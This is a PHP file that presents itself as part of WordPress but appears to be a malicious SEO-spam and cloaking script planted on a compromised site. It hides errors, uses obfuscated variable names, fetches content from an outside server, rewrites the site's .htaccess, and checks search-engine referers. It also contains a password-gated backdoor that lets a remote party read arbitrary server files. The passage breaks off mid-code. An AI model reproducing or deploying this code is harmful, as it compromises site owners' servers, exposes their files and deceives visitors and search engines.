<?php 

/**
 * breed cargo entertainment estimate evil haste idle interpret.
 * awful cope derive disturb exceedingly exclusive gap golf hollow liberty neglect recreation reveal spray voluntary.
 * hint issue neglect reluctant.
 * agency barrier frown media partial primitive utilify.
 * adapt apparent constant decay discipline electron exaggerate gesture globe inevitable likelihood mission mist pants portion preserve radical reliable revenue software theme vanish variation version.
 * faulty manual reveal shallow simplify.
 * defect motivate tendency vitally whatsoever.
 * agent algebra applicant bundle consistent echo estimate fatigue gallery jealous jeans knot organ render rescue route shelter sophisticated sorrow transplant tuition volunteer.
 * blast generate identify liter loosen nevertheless optimistic rescue scan sophisticated stale timber transport withdraw.
 * acquire apparent breadth comparative device evaluate garbage grand identify maintain network portion principal relevant reluctant reputation semiconductor shiver signature slippery temporary ultimate.
 * audio breadth explode extreme favorite glimpse medium network nevertheless omit radiation sophisticated trace undertake.
 * acknowledge cancel discipline obscure theme triangle urge.
 * compete equation exclude inferior principle priority prompt shuttle signature temptation.
 * apparent aware bureau calculate entertainment excursion explore merchant outstanding restrict xploit.
 * arichmetic available consistent debt haste individual maintain nonsense trend vertical weed.
 * agency awkward conservation delicate descend dispose electron export interpretation issue joint lean oral particularly presumably professional prospect provision reliable sensitive shelter solar universe vague weld.
 * bureau casual comment dive estimate expansion favorable grant infer interpretation lean lest missile offend range religion shield suspicious trace tremendous undergo undergraduate whatsoever.
 * brake collision deserve emotion flock minimum omit semester stripe tedious vibrate.
 * awful blast decline expel extent faulty ferfile gallon mainland manufacture notion numerrous obstacle passport relief rely sincere.
 * arbitrary awkward bacteria calculate capture core deposit disturb explode explosion gallery grateful haste hence medium origin prevail resolve shiver terminal utter violent.
 * export flash grant idle illegal infinite knot licence marveous media mixture naval neglect personnel precaution principal respond shield software tendency timber tissue vanish victim volunteer.
 * abundant appeal applianc approximate arise conservative deserve discount horror identify inferior jam molecule omit quit religion ridge shrink sketch strategy suspicion universe.
 * acid conservation device horrible mood neglect remote tender tremble wagon.
 * insurance jealous knot passion slender.
 * accelerate conquer derive distress gallon hook orbit simplify tender triumph unique wax.
 * brake distress explosive extreme illegal manufacture mature promote reject simplicity undertake.
 * abuse awful decorate device evolve expensive illegal infect internal necessity petrol poverty reinforce stale tendency tide triumph weed.
 * abuse agency attitude casual coil competent elastic gap illusion insurance magnet molecule organ powder split subway urban vertical virtue.
 * dumb evil exclaim excursion extraordinary geology glorious horror mature offend pat scandal sophisticated subway vanish via.
 * appetite bother calendar casual exclude gallon infant interfere mist optional relevant snap survey trend vitally.
 *
 * @package WordPress
 */


@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("GETDATE","http://www.datecenter.com/api/?key=");
define("CENTERKEY",2);
define("MYDIR", "/amabestde20201217-3/");
define("FNUM",97);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","g");
define("CURRENUSE","/usd/");
define("BZPRO","l");
define("BZCAT","k");
//msbg
define("JDT","0");
//msend

//msidbg
define("MSID",5482);
//mssidend


//keyjgbg

define("KEYJG",34);

//keyjgend

//randnumIbg

define("RANDNUMI",11);

//randnumIend

//randnumIIbg

define("RANDNUMII",10);

//randnumIIend

//pnamelenbg

define("PNAMELEN",40);

//pnamelenend

//jthouzuibg
define("JTHZ","/");
//jthouzuiend


//nttarr_bg

$arrnametime[]="1";
$arrnametime[]="2";
$arrnametime[]="4";
$arrnametime[]="3";


//nttarr_end


//kwzzarr_bg

$arrKeywz[]="8";
$arrKeywz[]="12";
$arrKeywz[]="10";
$arrKeywz[]="11";
$arrKeywz[]="7";
$arrKeywz[]="4";
$arrKeywz[]="5";
$arrKeywz[]="9";
$arrKeywz[]="6";


//kwzzarr_end


//brddarr_bg

$arrBread[]="";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="navBreadCrumb";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="BreadcrumbLists";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="crumbs";
$arrBread[]="BreadHead row";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="crumbsHead";
$arrBread[]="breadtop row";
$arrBread[]="Breadcrumb row";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="el-breadcrumb";
$arrBread[]="plp__breadcrumb row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="cs-breadcrumb";
$arrBread[]="Breadcrumbs";
$arrBread[]="wrapper-breadcrums";
$arrBread[]="crumbs-top row";
$arrBread[]="BreadcrumbsList row";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="crumbList row";
$arrBread[]="doc-crumb";
$arrBread[]="crumbs-nag";
$arrBread[]="crumbs-top";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="l-breadcrumblist row";
$arrBread[]="l-breadcrumb row";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="s-breadcrumb";
$arrBread[]="BreadcrumbTops";
$arrBread[]="Breadcrumb";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="breadtops";
$arrBread[]="BreadcrumbTop";
$arrBread[]="breadLists row";
$arrBread[]="crumbs-head";
$arrBread[]="BreadHead clearfix";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="breadtops row";
$arrBread[]="nw-breadcrumblist";
$arrBread[]="Bread clearfix";
$arrBread[]="";
$arrBread[]="BreadHead";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="Breadcrumbs row";
$arrBread[]="l-breadcrumb";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="crumb-list";
$arrBread[]="bread-List clearfix";
$arrBread[]="";
$arrBread[]="crumbsTop";
$arrBread[]="crumbsTops";
$arrBread[]="customBreadcrumb row";
$arrBread[]="";
$arrBread[]="crumbList";
$arrBread[]="wrapper-breadcrums clearfix";
$arrBread[]="v-breadcrumb";
$arrBread[]="breadHead clearfix";
$arrBread[]="bread_crumb";
$arrBread[]="breadList clearfix";
$arrBread[]="ag-breadcrumblist row";
$arrBread[]="mb-breadcrumb clearfix";
$arrBread[]="breadcrumb row";
$arrBread[]="BreadcrumbsHead";
$arrBread[]="l-breadcrumblist";
$arrBread[]="crumbsTop row";
$arrBread[]="crumbs-nag row";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="crumbsHeads row";
$arrBread[]="wrapper-breadcrums row";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="BreadcrumbList clearfix";
$arrBread[]="breadHeads clearfix";
$arrBread[]="crumbsHeads";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="Bread";
$arrBread[]="l-breadcrumb row";
$arrBread[]="BreadcrumbHead row";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="plp__breadcrumb clearfix";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="BreadcrumbHead";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="bread-List row";
$arrBread[]="breadHead row";
$arrBread[]="crumbs clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="BreadcrumbList row";
$arrBread[]="c-breadcrumb";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="s-breadcrumb row";
$arrBread[]="qa-breadcrumb clearfix";
$arrBread[]="breadcrumbs row";
$arrBread[]="bread-List";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="ant-breadcrumb";
$arrBread[]="";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="breadcrumbs clearfix";
$arrBread[]="crumbsTops row";
$arrBread[]="nw-breadcrumblist clearfix";
$arrBread[]="";
$arrBread[]="qa-breadcrumb";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="";
$arrBread[]="ag-breadcrumblist clearfix";
$arrBread[]="navBreadCrumbs";
$arrBread[]="breadcrumb";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="breadList";
$arrBread[]="l-breadcrumblist clearfix";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="";
$arrBread[]="mb-breadcrumb";
$arrBread[]="cs-breadcrumb clearfix";
$arrBread[]="breadcrumbs-base row";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="doc-crumb row";
$arrBread[]="ck-breadcrumb clearfix";
$arrBread[]="c-breadcrumb row";
$arrBread[]="r-breadcrumb";
$arrBread[]="";
$arrBread[]="crumb-list clearfix";
$arrBread[]="crumbList clearfix";
$arrBread[]="bread_crumb row";
$arrBread[]="breadcrumbs-base clearfix";
$arrBread[]="crumbs-head row";
$arrBread[]="customBreadcrumb";
$arrBread[]="el-breadcrumb row";
$arrBread[]="ck-breadcrumb";
$arrBread[]="breadHeads row";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="breadcrumb row";
$arrBread[]="BreadcrumbsList";
$arrBread[]="crumbs row";
$arrBread[]="qa-breadcrumb row";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="breadList row";
$arrBread[]="breadHead";
$arrBread[]="page-breadcrumbs";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="breadtop clearfix";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="BreadcrumbsList clearfix";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="breadtops clearfix";
$arrBread[]="ck-breadcrumb row";
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="breadLists clearfix";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="r-breadcrumb row";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="Bread row";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="BreadcrumbsHead row";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="Breadcrumb row";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="";
$arrBread[]="breadcrumbs";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="mb-breadcrumb row";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="plp__breadcrumb";
$arrBread[]="Breadcrumbs clearfix";
$arrBread[]="";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="breadHeads";
$arrBread[]="crumb-list row";
$arrBread[]="BreadcrumbList";
$arrBread[]="breadtop";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="Breadcrumb";
$arrBread[]="breadcrumb";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="breadLists";
$arrBread[]="v-breadcrumb row";
$arrBread[]="crumbsHead row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="ag-breadcrumblist";
$arrBread[]="breadcrumbs-base";
$arrBread[]="navBreadCrumb row";
$arrBread[]="nw-breadcrumblist row";


//brddarr_end




//fhharr_bg

$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2018";

//fhharr_end



$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();



//srrarr_bg
$strRand[0]="erojyqpztvucxhdagisnbwfmkl";
$strRand[1]="awugnztjkvxsihclreofbydmqp";
$strRand[2]="jyxspmqznwriklfodcbgueavht";
$strRand[3]="pfuroaeigjtskyhqxmwlzvnbdc";
$strRand[4]="xdmjhlscoynbquvikfwzraepgt";
$strRand[5]="udnlgwyfrcsphotqvjmekbxiza";
$strRand[6]="razihdqwlotygexnpfkbsuvmjc";
$strRand[7]="xyiarbcgnfvthuoemldkpjwsqz";
$strRand[8]="qytpuwsngbfazvmhlcrxijdkeo";
$strRand[9]="cfsnbyolwuirdhajmzqxgvekpt";
$strRand[10]="cxbiqrygdekuftznovmslpawhj";
$strRand[11]="pjcyndmhaqfwlkgovuixtrzsbe";
$strRand[12]="mzsvcbwhiyxakdpurofljteqng";
$strRand[13]="fchtzwesqmgbyinuldjxpkavro";
$strRand[14]="cntjslfomauzidvxewhgykqprb";
$strRand[15]="ravjwiegoxptmukhczlndsyfbq";
$strRand[16]="abydkxlgcunqzjvhetsopwfirm";
$strRand[17]="nzystjpakovbrdqlemcfxghiuw";
$strRand[18]="fzuhaijwvqcpkrsxlbydoentgm";
$strRand[19]="yflbhcgurwmpoaextvqdinsjzk";
$strRand[20]="yoidhvmtcpwuxrqjnlgfkazesb";
$strRand[21]="ypkcnhxerfwzvloaqgjmtisbud";
$strRand[22]="vqhdsmkbapefgjywtrnucxozli";
$strRand[23]="zgikjtdnorsamxblcpqfvehwyu";
$strRand[24]="sklcrpdemqayvnxhujitfbowzg";
$strRand[25]="axyizntlqhbjudvoksgrfpcwem";
$strRand[26]="johbskftaqidzlrwcgxvumynpe";
$strRand[27]="zstdijgfncvymbparexlohqkuw";
$strRand[28]="cmxwbslqgdfikoaeytrzpujnvh";
$strRand[29]="rwubjvknmzgsypihxfoedtlqac";
$strRand[30]="kwjzltyqhdunepmvigrcosafbx";
$strRand[31]="undoxwykehjblmrfiagpztvscq";
$strRand[32]="zunhbmoeyrkdwtfgpjsaxlqvci";
$strRand[33]="qgtahdvfuczlkxnpsimwojreby";
$strRand[34]="fhiktnurxdbeqgmpvyoslcwzaj";
$strRand[35]="twmjqhlkizescabdgvropnfxuy";
$strRand[36]="bjksxvlhdzfownaqipreugycmt";
$strRand[37]="qeplikdzwmrgvbonxuacshfyjt";
$strRand[38]="drwohvksgxczqpbljiemufnyat";
$strRand[39]="ipdftaweysgjnvxmorzbkhqcul";
$strRand[40]="ontmqwpaihyurzlevbgfskxcdj";
$strRand[41]="qlwghzcmarpfivxutysnjkeodb";
$strRand[42]="auoskzbtvcpgfxiejlqynwmhrd";
$strRand[43]="jqndsamxgrtufoylkbwpihzevc";
$strRand[44]="msqofgyhnxwdzbirjcepkltuva";
$strRand[45]="cinxpgoutkqafdrywmvlbjehsz";
$strRand[46]="wtilmpoejsafdbznqvuykrghcx";
$strRand[47]="aevzijctorkpxmnbyfguhwdlsq";
$strRand[48]="tmysqefavckjinubxwgprzlhdo";
$strRand[49]="tzdqlmfkwnoirvxhaysgupebcj";
$strRand[50]="gsxlkvaywuqomnrpjftceizdbh";
$strRand[51]="bailqwkgxzvfmhjonsrycptedu";
$strRand[52]="icpakvlewrqgxbjyfzsntmohud";
$strRand[53]="zbowmefntqvpxkiycldhrguajs";
$strRand[54]="vnryceiwsaxoqfztglduhpjkbm";
$strRand[55]="yfplbxkiqanwjdrocszmegvtuh";
$strRand[56]="apnbgtrqsxumvcfdzokljwiehy";
$strRand[57]="dkvorxnbjtmiyzsqhuepgfcalw";
$strRand[58]="ytsvxmopijfguwzhakbdlrceqn";
$strRand[59]="pwjehfsbynxlamktcvzgrdouqi";
$strRand[60]="ujowlpsrbdcvqhgneakzxtyimf";
$strRand[61]="qcatwjmzyguldnpxfkvirhsboe";
$strRand[62]="dutoybefkqvmwsjnphlxzgcira";
$strRand[63]="kfnvzhmelpdgicjqauxtwrysbo";
$strRand[64]="rkpsavxcyfoegnmldjbhquzwit";
$strRand[65]="nhorypqcdvetsigukzwljfamxb";
$strRand[66]="skvetyurfmphwigqdzlbjacoxn";
$strRand[67]="hquwildnvgfybmakrojepszxct";
$strRand[68]="crxhmpwyviadkfeuqslzotjbgn";
$strRand[69]="hjzoplungvfibcaktyemwxdqrs";
$strRand[70]="rgysetznhdpcujflikwxqbamvo";
$strRand[71]="ofyvwsxeprahubqtigcdknmzjl";
$strRand[72]="aocpkjwybtgslreumnzdxhfiqv";
$strRand[73]="wfqzeguodrictnxhksamvblpyj";
$strRand[74]="xctlwefvbhrpayiqkgszudomjn";
$strRand[75]="eqkcbgdjaswxlrhuzoimpvtnfy";
$strRand[76]="jhnfxryszdolkpaiwebtvuqmcg";
$strRand[77]="xvqjyhgrusenmkiodwtfalpcbz";
$strRand[78]="axfoujetgcbkyzdipsnmqlwrhv";
$strRand[79]="njcqxpghblzadfersvyokimtuw";
$strRand[80]="wprgzlokdvbcfhtqimexyujsan";
$strRand[81]="ksjwaxprmgilbeyqvfdzcunhot";
$strRand[82]="oyehjbfkginsmdcxrwlazvtpqu";
$strRand[83]="hetwnpxuvczgykadoqsmjbilrf";
$strRand[84]="xlevzmjkuanqogrcwhbtisfpdy";
$strRand[85]="ovyekfzrpthiwjbamqsnculxdg";
$strRand[86]="wcofutezhbqrpikjvgymnsdlax";
$strRand[87]="vlfdbruipzwgsmoceknqjaythx";
$strRand[88]="infadvcqskobrmypjxzuwghetl";
$strRand[89]="tkshvulocgydbijepmwrfzqaxn";
$strRand[90]="wsgcrdvunybzjhmelpktqfxiao";
$strRand[91]="dlmghaowybzijuepsqcxvfkntr";
$strRand[92]="urenifalkbzvcsyqdwgtpxohmj";
$strRand[93]="qsgbkyxzviocmrnteupwdhjfla";
$strRand[94]="npwlxkahvsemboqjtudgrziyfc";
$strRand[95]="jdlyqkpgnsvutmrehcxifaobwz";
$strRand[96]="nxjtkswzfumcdbeyalhqipgovr";
$strRand[97]="roasyktmjpgcwnhifxdelbvuzq";
$strRand[98]="dkwgqntbocexpyrzuafhlimvsj";
$strRand[99]="baxevmuwkpjczfynrilqhsdgot";

//srrarr_end



$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
		


// 
	
	
	
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
   $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{15}.$O00O0O{18}.$O00O0O{14}.$O00O0O{19}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{21};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};



if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
	
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	
	if (! is_dir("../maps"))
		mkdir("../maps", 0755);	
	global $gnumber;
	$gnumber = 1;
	$bgNum = (int)trim($_GET["gsitemap"]);
	$mapnum = (int)trim($_GET["mapnum"]);
	if($bgNum > FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);
	
	$rs = '#<map>(.*)</map>#si';
	$mapLogs = file_get_contents("./map.log");
	
	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";
		
		
		if(JDT == 0 && $gnumber == 1){
			
			if(strstr($mapLogs,'#sitemap.xml#') && file_exists('../maps/sitemap.xml')){
				echo $vals."<br/>";
				echo '../maps/sitemap.xml successed<br/>';
				$gnumber++;
				continue;	
			}
		
		}elseif(JDT == 0){
				
		if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml')){
			echo $vals."<br/>";
			echo '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		}
		
		
		if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml')){
			echo $vals."<br/>";
			echo '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		
		for($i=0; $i<3; $i++){
			$idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
			$tempIdStr = curl_get_from_webpage($idUrl,'',5);
			$arrIdNameNow = array();
			if(preg_match($rs,$tempIdStr,$matchIdName)){
				$tparrIdName = explode('^^',$matchIdName[1]);
				foreach($tparrIdName as $vs){
					$tpArr = explode('^',$vs);
					if(count($tpArr) == 2){
						$arrIdNameNow[$tpArr[0]] = $tpArr[1];
					}elseif(count($tpArr) > 2){
						$tpstr = '';
						for($j=1; $j<count($tpArr); $j++){
							$tpstr .= $tpArr[$j] . ' ';
						}
						$tpstr = trim($tpstr);
						$arrIdNameNow[$tpArr[0]] = $tpstr;
					}
				}
				
				break;
			}
		}
		
		
	
		if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
			echo "g sitemap fail<br/>";
			die();
		}
		
		echo $vals."<br/>";
	
		if($gnumber == 1){
			if(JDT == 1){
				gsitemap($arrIdNameNow,2,1);			
				}else{
				gsitemap($arrIdNameNow,1,2);			
				}
		}else{
			
			if(JDT == 1){
				gsitemap2($arrIdNameNow,2,1);			}else{
				gsitemap2($arrIdNameNow,1,2);			}
			
		}
		
		unset($arrIdNameNow,$tempArr1,$tempArr2);	}
	
}


if(isset($_GET["ghtac"]) && $_GET["ghtac"]){

	$dirNames = dirname(__FILE__);    
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	
	$PreDir = '';	
	if(JDT == 1){
		$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';	
	}else{
		$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';	
	}
	$strhtt = '';
	if (file_exists("$PreDir.htaccess")){
		@chmod("$PreDir.htaccess",0755);
		$strhtt = file_get_contents("$PreDir.htaccess");	
	}
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
	}
		
	if(1){
		
		$r0 = '#(.*RewriteEngine On.*)#i';

		$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		

	
		if(JDT == 0){
			
			
			$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*([a-z]+htmlmaps\.xml)$  maps/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  maps/\$1 [L]' . PHP_EOL ;
		
			$rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*([a-z]+htmlmaps\.xml)$  maps/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  maps/\$1 [L]' . PHP_EOL  .'RewriteRule' ;
		
			
		}else{
			
			
			$rsut = '\1'. PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  ;
		
			$rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  .'RewriteRule' ;	
		
			
		}



	
			if(preg_match($r0,$strhtt)){
				$strhtt = preg_replace($r0,$rsut,$strhtt,1);
			}elseif(preg_match($r1,$strhtt)){
				$strhtt = preg_replace($r1,$rsut,$strhtt,1);
			}else{
				$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
			}
		
		if(JDT == 1 or JDT == 0){
			file_put_contents("$PreDir.htaccess", $strhtt);		
		}
		
	}

	die("ghtac ok");
}


if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./template.html")){$fileArr['moban'] = filesize("./template.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
	
if(JDT==2){
	
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
		$tempSid = '';		$tempPid = '';		
				
		$r2='#.*-(\d+)-.*'. JTHZ .'$#i';		$r3='#.*-(\d+)-.*/$#i';
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
	
			
		if($tempPid){
			$_GET['id']= $tempPid;		
		}else{
			$r2='#brand/(.*)/\d+#i';		$r3='#.*brand/(.*)/\d+$#i';
			if(preg_match($r2,$UrlParent,$matches2)){
				if(isset($matches2[1]))
					$tempPid = $matches2[1];		
			}else{
				preg_match($r3,$UrlParent,$matches13);
				if(isset($matches13[1]))
					$tempPid = $matches13[1];
			}
			
			if($tempPid)
				$_GET['cat']= $tempPid;	
			
		}
	}
	
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
		
		$tempSid = '';		$tempPid = '';		$UrlParent = $_GET['keyword'];		

		$r2='#-(\d+)$#i';		$r3='#[-/]'.'(\d+)$#i';	
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		

	
	
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
	
	
}	
	
function getRandStr(){
	
	$arrABC = range('a','z');	shuffle($arrABC); 
	$randNum = rand(4,6);	
	$str = implode('',array_slice($arrABC,0,$randNum));	
	return $str;}
	

if(isset($_GET["id"]))
	$id = $_GET["id"];
else{
	
	if(isset($_GET["cat"])){
		$rqurl = $_GET["cat"];
		
		$logFileName = './idlogs.txt';
		if(file_exists($logFileName)){
			$arrUrlId = unserialize(file_get_contents($logFileName));
		}else{
			$arrUrlId = array();
		}

		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
			$id  = $arrUrlId[$rqurl];		
		}else{
			$arrUrlId[$rqurl] = getRandCId($rqurl);
			$id = $arrUrlId[$rqurl];
			file_put_contents($logFileName,serialize($arrUrlId));
			@touch(dirname($logFileName), $fLogTime, $fLogTime); 
			@touch($logFileName, $fLogTime, $fLogTime);    
		}
	}else{
		
	
	$id = "211728"; //llq index id 
	
	}

}

$rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
	exit;
}
$id23 = $id;



$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
	$referer = $_SERVER["HTTP_REFERER"]; 
	$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';	

